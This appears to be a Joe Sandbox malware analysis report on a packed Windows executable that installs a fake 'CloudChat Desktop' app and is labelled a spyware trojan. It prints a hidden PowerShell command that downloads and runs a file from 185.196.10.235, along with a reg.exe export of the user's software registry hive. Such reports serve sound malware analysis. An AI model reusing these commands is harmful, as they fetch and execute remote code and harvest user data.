Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Code function: 3_2_00007FF8A8A5FB80	3_2_00007FF8A8A5FB80
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Code function: 3_2_00007FF8A8A17B14	3_2_00007FF8A8A17B14
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Code function: 3_2_00007FF8A89D1B74	3_2_00007FF8A89D1B74
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Code function: 3_2_00007FF8A89EDC80	3_2_00007FF8A89EDC80
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Code function: 3_2_00007FF8A8A0FC91	3_2_00007FF8A8A0FC91
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Code function: 3_2_00007FF8A8A93C80	3_2_00007FF8A8A93C80
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Code function: 3_2_00007FF8A8A29CE9	3_2_00007FF8A8A29CE9
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Code function: 3_2_00007FF8A8A29CC3	3_2_00007FF8A8A29CC3
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Code function: 3_2_00007FF8A8A3BC31	3_2_00007FF8A8A3BC31
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Code function: 3_2_00007FF8A8A1FD80	3_2_00007FF8A8A1FD80
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Code function: 3_2_00007FF8A8A0FDF4	3_2_00007FF8A8A0FDF4
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Code function: 3_2_00007FF8A8A0FDD4	3_2_00007FF8A8A0FDD4
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Code function: 3_2_00007FF8A8A29D2F	3_2_00007FF8A8A29D2F
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Code function: 3_2_00007FF8A8A29D0C	3_2_00007FF8A8A29D0C
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Code function: 3_2_00007FF8A8A11EE0	3_2_00007FF8A8A11EE0
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Code function: 3_2_00007FF8A8A63EE0	3_2_00007FF8A8A63EE0
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Code function: 3_2_00007FF8A8AB9FC0	3_2_00007FF8A8AB9FC0
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Code function: 3_2_00007FF8A89BFF30	3_2_00007FF8A89BFF30
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Code function: 3_2_00007FF8A89C20B0	3_2_00007FF8A89C20B0
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Code function: 3_2_00007FF8A8A960F0	3_2_00007FF8A8A960F0
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Code function: 3_2_00007FF8A89F4020	3_2_00007FF8A89F4020
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Code function: 3_2_00007FF8A8AA2020	3_2_00007FF8A8AA2020
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Code function: 3_2_00007FF8A8AB0070	3_2_00007FF8A8AB0070
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Code function: 3_2_00007FF8A8A08060	3_2_00007FF8A8A08060
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Code function: 3_2_00007FF8A8A0A050	3_2_00007FF8A8A0A050
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Code function: 3_2_00007FF8A8A45190	3_2_00007FF8A8A45190
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Code function: 3_2_00007FF8A8A3F110	3_2_00007FF8A8A3F110
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Code function: 3_2_00007FF8A8A332B0	3_2_00007FF8A8A332B0
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Code function: 3_2_00007FF8A8A1728A	3_2_00007FF8A8A1728A
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Code function: 3_2_00007FF8A8A6D280	3_2_00007FF8A8A6D280
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Code function: 3_2_00007FF8A8A1D2D0	3_2_00007FF8A8A1D2D0
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Code function: 3_2_00007FF8A8AB1220	3_2_00007FF8A8AB1220
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Code function: 3_2_00007FF8A899B210	3_2_00007FF8A899B210
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Code function: 3_2_00007FF8A8A8B270	3_2_00007FF8A8A8B270
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Code function: 3_2_00007FF8A8A4B260	3_2_00007FF8A8A4B260
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Code function: 3_2_00007FF8A8997251	3_2_00007FF8A8997251
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Code function: 3_2_00007FF8A8A3F3F0	3_2_00007FF8A8A3F3F0
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Code function: 3_2_00007FF8A89934A0	3_2_00007FF8A89934A0
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Code function: 3_2_00007FF8A8A014A3	3_2_00007FF8A8A014A3
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Code function: 3_2_00007FF8A8A9B480	3_2_00007FF8A8A9B480
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Code function: 3_2_00007FF8A89E5460	3_2_00007FF8A89E5460
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Code function: 3_2_00007FF8A8A77440	3_2_00007FF8A8A77440
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Code function: 3_2_00007FF8A89A95E0	3_2_00007FF8A89A95E0
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Code function: 3_2_00007FF8A8AA3680	3_2_00007FF8A8AA3680
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Code function: 3_2_00007FF8A89D5610	3_2_00007FF8A89D5610
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Code function: 3_2_00007FF8A899F790	3_2_00007FF8A899F790
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Code function: 3_2_00007FF8A8A99720	3_2_00007FF8A8A99720
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Code function: 3_2_00007FF8A8999770	3_2_00007FF8A8999770
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Code function: 3_2_00007FF8A8A5B760	3_2_00007FF8A8A5B760
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Code function: 3_2_00007FF8A8A5F760	3_2_00007FF8A8A5F760
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Code function: 3_2_00007FF8A89AD750	3_2_00007FF8A89AD750
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Code function: 3_2_00007FF8A89B78A0	3_2_00007FF8A89B78A0
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Code function: 3_2_00007FF8A8A4B8E0	3_2_00007FF8A8A4B8E0
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Code function: 3_2_00007FF8A89A18C0	3_2_00007FF8A89A18C0
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Code function: 3_2_00007FF8A8A218D0	3_2_00007FF8A8A218D0
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Code function: 3_2_00007FF8A8AA7830	3_2_00007FF8A8AA7830
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Code function: 3_2_00007FF8A8A0F836	3_2_00007FF8A8A0F836
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Code function: 3_2_00007FF8A8A2D840	3_2_00007FF8A8A2D840
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Code function: 3_2_00007FF8B7831FD0	3_2_00007FF8B7831FD0
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Code function: 3_2_00007FF8B7832430	3_2_00007FF8B7832430
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Code function: 3_2_00007FF8B7844820	3_2_00007FF8B7844820
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Code function: 3_2_00007FF8B78445D0	3_2_00007FF8B78445D0
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Code function: 3_2_00007FF8B7891D80	3_2_00007FF8B7891D80
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Code function: 3_2_00007FF8B78924A0	3_2_00007FF8B78924A0
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Code function: 3_2_00007FF8B7893550	3_2_00007FF8B7893550
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Code function: 3_2_00007FF8B78929C0	3_2_00007FF8B78929C0
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Code function: 3_2_00007FF8B7892EC0	3_2_00007FF8B7892EC0
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Code function: 3_2_00007FF8B7891FF0	3_2_00007FF8B7891FF0
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Code function: 3_2_00007FF8B78A2110	3_2_00007FF8B78A2110
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Code function: 3_2_00007FF8B78A1D40	3_2_00007FF8B78A1D40
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Code function: 3_2_00007FF8B78B1F10	3_2_00007FF8B78B1F10
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Code function: 3_2_00007FF8B78B21C0	3_2_00007FF8B78B21C0
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Code function: 3_2_00007FF8B7DE1FA0	3_2_00007FF8B7DE1FA0
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Code function: 3_2_00007FF8B7DF1F40	3_2_00007FF8B7DF1F40
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Code function: 3_2_00007FF8B7DF2050	3_2_00007FF8B7DF2050
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Code function: 3_2_00007FF8B7E01D40	3_2_00007FF8B7E01D40
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Code function: 3_2_00007FF8B7E022D0	3_2_00007FF8B7E022D0
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Code function: 3_2_00007FF8B7E12160	3_2_00007FF8B7E12160
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Code function: 3_2_00007FF8B7E22070	3_2_00007FF8B7E22070
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Code function: 3_2_00007FF8B7E462D0	3_2_00007FF8B7E462D0
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 18_2_00007FF848F354D8	18_2_00007FF848F354D8

Source: Joe Sandbox View

Dropped File: C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto\Cipher\_ARC4.pyd EFEA361311923189ECBE3240111EFBA329752D30457E0DBE9628A82905CD4BDB

Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Code function: String function: 00007FF6929E1E50 appears 106 times
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Code function: String function: 00007FF8A8998DA0 appears 37 times
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Code function: String function: 00007FF8A899A330 appears 252 times
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Code function: String function: 00007FF8A8998EA0 appears 96 times
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Code function: String function: 00007FF8A8999040 appears 207 times
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Code function: String function: 00007FF6929E2020 appears 34 times

Source: unicodedata.pyd.0.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS
Source: 84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f.tmp.7.dr	Static PE information: Resource name: RT_RCDATA type: PE32+ executable (console) x86-64, for MS Windows
Source: is-BG1K1.tmp.9.dr	Static PE information: Resource name: RT_RCDATA type: PE32+ executable (console) x86-64, for MS Windows

Source: is-BG1K1.tmp.9.dr	Static PE information: Number of sections : 11 > 10
Source: 84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f.exe.3.dr	Static PE information: Number of sections : 11 > 10
Source: 84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f.tmp.7.dr	Static PE information: Number of sections : 11 > 10
Source: 84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f.0.dr	Static PE information: Number of sections : 11 > 10

Source: LIccs3x2LZ.exe, 00000000.00000003.2096428051.00000266D2F72000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_lzma.pyd. vs LIccs3x2LZ.exe
Source: LIccs3x2LZ.exe, 00000000.00000003.2095820479.00000266D2F72000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamevcruntime140_1.dllT vs LIccs3x2LZ.exe
Source: LIccs3x2LZ.exe, 00000000.00000003.2103164457.00000266D2F72000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamepython38.dll. vs LIccs3x2LZ.exe
Source: LIccs3x2LZ.exe, 00000000.00000003.2104322916.00000266D2F72000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamesqlite3.dll0 vs LIccs3x2LZ.exe
Source: LIccs3x2LZ.exe, 00000000.00000003.2104084226.00000266D2F72000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameselect.pyd. vs LIccs3x2LZ.exe
Source: LIccs3x2LZ.exe, 00000000.00000003.2105248319.00000266D2F72000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamewin32crypt.pyd0 vs LIccs3x2LZ.exe
Source: LIccs3x2LZ.exe, 00000000.00000003.2096641661.00000266D2F72000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_socket.pyd. vs LIccs3x2LZ.exe
Source: LIccs3x2LZ.exe, 00000000.00000003.2097709991.00000266D2F7C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamelibcryptoH vs LIccs3x2LZ.exe
Source: LIccs3x2LZ.exe, 00000000.00000003.2104935897.00000266D2F72000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameunicodedata.pyd. vs LIccs3x2LZ.exe
Source: LIccs3x2LZ.exe, 00000000.00000003.2095952667.00000266D2F72000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_bz2.pyd. vs LIccs3x2LZ.exe
Source: LIccs3x2LZ.exe, 00000000.00000003.2096079771.00000266D2F72000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_ctypes.pyd. vs LIccs3x2LZ.exe
Source: LIccs3x2LZ.exe, 00000000.00000003.2096259087.00000266D2F72000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_hashlib.pyd. vs LIccs3x2LZ.exe
Source: LIccs3x2LZ.exe, 00000000.00000003.2103967430.00000266D2F72000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamepywintypes38.dll0 vs LIccs3x2LZ.exe
Source: LIccs3x2LZ.exe, 00000000.00000003.2096780181.00000266D2F72000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_sqlite3.pyd. vs LIccs3x2LZ.exe
Source: LIccs3x2LZ.exe, 00000000.00000003.2095647055.00000266D2F72000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamevcruntime140.dllT vs LIccs3x2LZ.exe
Source: LIccs3x2LZ.exe	Binary or memory string: OriginalFilename vs LIccs3x2LZ.exe
Source: LIccs3x2LZ.exe, 00000003.00000002.2148994086.00007FF8B8B11000.00000002.00000001.01000000.0000000C.sdmp	Binary or memory string: OriginalFilenamewin32crypt.pyd0 vs LIccs3x2LZ.exe
Source: LIccs3x2LZ.exe, 00000003.00000002.2149702338.00007FF8B93D6000.00000002.00000001.01000000.0000000A.sdmp	Binary or memory string: OriginalFilename_sqlite3.pyd. vs LIccs3x2LZ.exe
Source: LIccs3x2LZ.exe, 00000003.00000002.2150206740.00007FF8BA256000.00000002.00000001.01000000.00000005.sdmp	Binary or memory string: OriginalFilenamevcruntime140.dllT vs LIccs3x2LZ.exe
Source: LIccs3x2LZ.exe, 00000003.00000002.2148695163.00007FF8B7E63000.00000002.00000001.01000000.0000000D.sdmp	Binary or memory string: OriginalFilenamepywintypes38.dll0 vs LIccs3x2LZ.exe
Source: LIccs3x2LZ.exe, 00000003.00000002.2149118287.00007FF8B8B46000.00000002.00000001.01000000.00000009.sdmp	Binary or memory string: OriginalFilename_lzma.pyd. vs LIccs3x2LZ.exe
Source: LIccs3x2LZ.exe, 00000003.00000002.2150352766.00007FF8BA4F9000.00000002.00000001.01000000.0000000E.sdmp	Binary or memory string: OriginalFilenamevcruntime140_1.dllT vs LIccs3x2LZ.exe
Source: LIccs3x2LZ.exe, 00000003.00000002.2146756724.00007FF8A8F17000.00000002.00000001.01000000.00000004.sdmp	Binary or memory string: OriginalFilenamepython38.dll. vs LIccs3x2LZ.exe
Source: LIccs3x2LZ.exe, 00000003.00000002.2150093843.00007FF8B9F75000.00000002.00000001.01000000.00000008.sdmp	Binary or memory string: OriginalFilename_bz2.pyd. vs LIccs3x2LZ.exe
Source: LIccs3x2LZ.exe, 00000003.00000002.2145766945.00007FF8A8AF1000.00000002.00000001.01000000.0000000B.sdmp	Binary or memory string: OriginalFilenamesqlite3.dll0 vs LIccs3x2LZ.exe
Source: LIccs3x2LZ.exe, 00000003.00000002.2149402117.00007FF8B8F8E000.00000002.00000001.01000000.00000006.sdmp	Binary or memory string: OriginalFilename_ctypes.pyd. vs LIccs3x2LZ.exe

Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe

Process created: C:\Windows\SysWOW64\reg.exe "reg" EXPORT "HKEY_CURRENT_USER\SOFTWARE" "C:\Users\user\AppData\Local\Temp\9144b88e-958d-4c3c-90ee-8a3bd5e186d3\System\UserSOFTWARE.reg" /y

Source: CloudChat.exe, 0000000C.00000000.2360531911.0000000002791000.00000002.00000001.01000000.00000025.sdmp

Binary or memory string: nna.nosciencehu.comtadaoka.osaka.jphayakawa.yamanashi.jpdnsalias.orgedu.saedu.sbedu.rsedu.sclib.id.usogori.fukuoka.jpnotogawa.shiga.jpedu.sdrepbody.aeroid.auedu.ruk12.nj.usloyalist.museumedu.rwedu.sgxyzmoka.tochigi.jpdynathome.netkimino.wakayama.jpedu.slnissanveterinaire.kmkokubunji.tokyo.jpedu.snos.hordaland.notm.kmartsandcrafts.museumis-a-musician.com*.kitakyushu.jpiitate.fukushima.jpedu.stav.iturayasu.chiba.jpedu.svflorida.museumninjaedu.synemuro.hokkaido.jpedu.tjs

Source: classification engine

Classification label: sus36.troj.spyw.evad.winEXE@20/159@3/11

Source: C:\Users\user\Desktop\LIccs3x2LZ.exe

Code function: 3_2_00007FF8B7E50460 GetLastError,FormatMessageW,_Py_NoneStruct,_Py_NoneStruct,PyUnicode_FromWideChar,PyUnicode_DecodeMBCS,_Py_BuildValue_SizeT,LocalFree,PyErr_SetObject,_Py_Dealloc,

3_2_00007FF8B7E50460

Source: C:\Users\user\Desktop\LIccs3x2LZ.exe

File created: C:\Users\user\Desktop\84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f.exe

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2676:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1576:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5228:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1408:120:WilError_03

Source: C:\Users\user\Desktop\LIccs3x2LZ.exe

File created: C:\Users\user\AppData\Local\Temp\_MEI71322

Jump to behavior

Source: LIccs3x2LZ.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\Desktop\84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-4QOV2.tmp\84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f.tmp	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-4QOV2.tmp\84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f.tmp	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior

Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_Process

Source: C:\Users\user\AppData\Local\Temp\is-4QOV2.tmp\84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f.tmp

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\LIccs3x2LZ.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-4QOV2.tmp\84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f.tmp

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion RegisteredOrganization

Jump to behavior

Source: LIccs3x2LZ.exe, 00000003.00000002.2145698132.00007FF8A8AC1000.00000002.00000001.01000000.0000000B.sdmp	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: LIccs3x2LZ.exe, LIccs3x2LZ.exe, 00000003.00000002.2145698132.00007FF8A8AC1000.00000002.00000001.01000000.0000000B.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: LIccs3x2LZ.exe, LIccs3x2LZ.exe, 00000003.00000002.2145698132.00007FF8A8AC1000.00000002.00000001.01000000.0000000B.sdmp	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: LIccs3x2LZ.exe, LIccs3x2LZ.exe, 00000003.00000002.2145698132.00007FF8A8AC1000.00000002.00000001.01000000.0000000B.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: LIccs3x2LZ.exe, LIccs3x2LZ.exe, 00000003.00000002.2145698132.00007FF8A8AC1000.00000002.00000001.01000000.0000000B.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: LIccs3x2LZ.exe, LIccs3x2LZ.exe, 00000003.00000002.2145698132.00007FF8A8AC1000.00000002.00000001.01000000.0000000B.sdmp	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);

Source: LIccs3x2LZ.exe	Virustotal: Detection: 53%
Source: LIccs3x2LZ.exe	ReversingLabs: Detection: 36%

Source: C:\Users\user\Desktop\LIccs3x2LZ.exe

File read: C:\Users\user\Desktop\LIccs3x2LZ.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\LIccs3x2LZ.exe "C:\Users\user\Desktop\LIccs3x2LZ.exe"
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Process created: C:\Users\user\Desktop\LIccs3x2LZ.exe "C:\Users\user\Desktop\LIccs3x2LZ.exe"
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "start cmd.exe /K C:\Users\user\Desktop\84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /K C:\Users\user\Desktop\84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\Desktop\84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f.exe C:\Users\user\Desktop\84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f.exe
Source: C:\Users\user\Desktop\84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f.exe	Process created: C:\Users\user\AppData\Local\Temp\is-4QOV2.tmp\84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f.tmp "C:\Users\user\AppData\Local\Temp\is-4QOV2.tmp\84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f.tmp" /SL5="$4046E,22570383,901632,C:\Users\user\Desktop\84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f.exe"
Source: C:\Users\user\AppData\Local\Temp\is-4QOV2.tmp\84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f.tmp	Process created: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe "C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe"
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Process created: C:\Windows\SysWOW64\reg.exe "reg" EXPORT "HKEY_CURRENT_USER\SOFTWARE" "C:\Users\user\AppData\Local\Temp\9144b88e-958d-4c3c-90ee-8a3bd5e186d3\System\UserSOFTWARE.reg" /y
Source: C:\Windows\SysWOW64\reg.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command "$machineName = $env:COMPUTERNAME; $path = Join-Path -Path $env:TEMP -ChildPath 'GUIDGUIDGUID.exe'; $uri = 'http://185.196.10.235:50001/download?name=' + $machineName; Invoke-WebRequest -Uri $uri -OutFile $path; Start-process $path"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Process created: C:\Users\user\Desktop\LIccs3x2LZ.exe "C:\Users\user\Desktop\LIccs3x2LZ.exe"	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "start cmd.exe /K C:\Users\user\Desktop\84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /K C:\Users\user\Desktop\84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f.exe	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\Desktop\84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f.exe C:\Users\user\Desktop\84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f.exe	Jump to behavior
Source: C:\Users\user\Desktop\84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f.exe	Process created: C:\Users\user\AppData\Local\Temp\is-4QOV2.tmp\84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f.tmp "C:\Users\user\AppData\Local\Temp\is-4QOV2.tmp\84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f.tmp" /SL5="$4046E,22570383,901632,C:\Users\user\Desktop\84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-4QOV2.tmp\84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f.tmp	Process created: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe "C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe"	Jump to behavior
